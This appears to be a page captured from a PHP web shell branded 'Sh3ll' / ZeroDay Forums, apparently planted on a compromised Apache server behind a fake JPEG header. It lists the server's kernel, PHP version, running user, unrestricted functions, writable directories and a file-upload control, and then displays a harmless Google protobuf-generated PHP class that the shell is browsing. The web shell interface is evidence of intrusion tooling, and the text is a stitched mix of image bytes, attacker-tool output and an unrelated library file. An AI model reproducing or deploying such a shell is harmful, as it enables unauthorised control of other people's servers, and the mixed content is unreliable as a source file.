����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/st2/vendor/google/gax/src/Api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/st2/vendor/google/gax/src/Api/AuthenticationRule.php
<?php
# Generated by the protocol buffer compiler.  DO NOT EDIT!
# source: google/api/auth.proto

namespace Google\Api;

use Google\Protobuf\Internal\GPBType;
use Google\Protobuf\Internal\RepeatedField;
use Google\Protobuf\Internal\GPBUtil;

/**
 * Authentication rules for the service.
 * By default, if a method has any authentication requirements, every request
 * must include a valid credential matching one of the requirements.
 * It's an error to include more than one kind of credential in a single
 * request.
 * If a method doesn't have any auth requirements, request credentials will be
 * ignored.
 *
 * Generated from protobuf message <code>google.api.AuthenticationRule</code>
 */
class AuthenticationRule extends \Google\Protobuf\Internal\Message
{
    /**
     * Selects the methods to which this rule applies.
     * Refer to [selector][google.api.DocumentationRule.selector] for syntax details.
     *
     * Generated from protobuf field <code>string selector = 1;</code>
     */
    private $selector = '';
    /**
     * The requirements for OAuth credentials.
     *
     * Generated from protobuf field <code>.google.api.OAuthRequirements oauth = 2;</code>
     */
    private $oauth = null;
    /**
     * Whether to allow requests without a credential. The credential can be
     * an OAuth token, Google cookies (first-party auth) or EndUserCreds.
     * For requests without credentials, if the service control environment is
     * specified, each incoming request **must** be associated with a service
     * consumer. This can be done by passing an API key that belongs to a consumer
     * project.
     *
     * Generated from protobuf field <code>bool allow_without_credential = 5;</code>
     */
    private $allow_without_credential = false;
    /**
     * Requirements for additional authentication providers.
     *
     * Generated from protobuf field <code>repeated .google.api.AuthRequirement requirements = 7;</code>
     */
    private $requirements;

    public function __construct() {
        \GPBMetadata\Google\Api\Auth::initOnce();
        parent::__construct();
    }

    /**
     * Selects the methods to which this rule applies.
     * Refer to [selector][google.api.DocumentationRule.selector] for syntax details.
     *
     * Generated from protobuf field <code>string selector = 1;</code>
     * @return string
     */
    public function getSelector()
    {
        return $this->selector;
    }

    /**
     * Selects the methods to which this rule applies.
     * Refer to [selector][google.api.DocumentationRule.selector] for syntax details.
     *
     * Generated from protobuf field <code>string selector = 1;</code>
     * @param string $var
     * @return $this
     */
    public function setSelector($var)
    {
        GPBUtil::checkString($var, True);
        $this->selector = $var;

        return $this;
    }

    /**
     * The requirements for OAuth credentials.
     *
     * Generated from protobuf field <code>.google.api.OAuthRequirements oauth = 2;</code>
     * @return \Google\Api\OAuthRequirements
     */
    public function getOauth()
    {
        return $this->oauth;
    }

    /**
     * The requirements for OAuth credentials.
     *
     * Generated from protobuf field <code>.google.api.OAuthRequirements oauth = 2;</code>
     * @param \Google\Api\OAuthRequirements $var
     * @return $this
     */
    public function setOauth($var)
    {
        GPBUtil::checkMessage($var, \Google\Api\OAuthRequirements::class);
        $this->oauth = $var;

        return $this;
    }

    /**
     * Whether to allow requests without a credential. The credential can be
     * an OAuth token, Google cookies (first-party auth) or EndUserCreds.
     * For requests without credentials, if the service control environment is
     * specified, each incoming request **must** be associated with a service
     * consumer. This can be done by passing an API key that belongs to a consumer
     * project.
     *
     * Generated from protobuf field <code>bool allow_without_credential = 5;</code>
     * @return bool
     */
    public function getAllowWithoutCredential()
    {
        return $this->allow_without_credential;
    }

    /**
     * Whether to allow requests without a credential. The credential can be
     * an OAuth token, Google cookies (first-party auth) or EndUserCreds.
     * For requests without credentials, if the service control environment is
     * specified, each incoming request **must** be associated with a service
     * consumer. This can be done by passing an API key that belongs to a consumer
     * project.
     *
     * Generated from protobuf field <code>bool allow_without_credential = 5;</code>
     * @param bool $var
     * @return $this
     */
    public function setAllowWithoutCredential($var)
    {
        GPBUtil::checkBool($var);
        $this->allow_without_credential = $var;

        return $this;
    }

    /**
     * Requirements for additional authentication providers.
     *
     * Generated from protobuf field <code>repeated .google.api.AuthRequirement requirements = 7;</code>
     * @return \Google\Protobuf\Internal\RepeatedField
     */
    public function getRequirements()
    {
        return $this->requirements;
    }

    /**
     * Requirements for additional authentication providers.
     *
     * Generated from protobuf field <code>repeated .google.api.AuthRequirement requirements = 7;</code>
     * @param \Google\Api\AuthRequirement[]|\Google\Protobuf\Internal\RepeatedField $var
     * @return $this
     */
    public function setRequirements($var)
    {
        $arr = GPBUtil::checkRepeatedField($var, \Google\Protobuf\Internal\GPBType::MESSAGE, \Google\Api\AuthRequirement::class);
        $this->requirements = $arr;

        return $this;
    }

}


ZeroDay Forums Mini